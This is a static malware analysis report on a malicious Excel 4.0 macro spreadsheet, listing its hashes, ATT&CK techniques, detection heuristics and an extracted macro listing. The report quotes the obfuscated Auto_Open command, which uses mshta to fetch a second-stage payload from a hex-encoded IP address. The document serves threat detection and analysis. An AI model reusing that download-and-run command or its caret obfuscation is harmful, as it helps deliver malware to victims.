Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 d349e96e0fa882fe…

MALICIOUS

Office (OLE) / .XLS

64.3 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: a97dae706ef30156b0f4f233b6610c9e SHA-1: 054fbee18ffc60978fc555e3989ac1087f098ffb SHA-256: d349e96e0fa882febf8a58a9e7e2b3e1b33d11be1762970cdfb4a7967414921a
100 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Service Execution: Visual Basic T1204.002 Malicious File: User Execution: Malicious File

The sample is an Excel 4.0 macro-enabled spreadsheet that uses a lure to trick the user into enabling macros. Upon enabling, it executes an Auto_Open macro which reconstructs and runs the command 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html', indicating it downloads a second-stage payload from the specified URL. The obfuscation in the command string suggests an attempt to evade detection.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes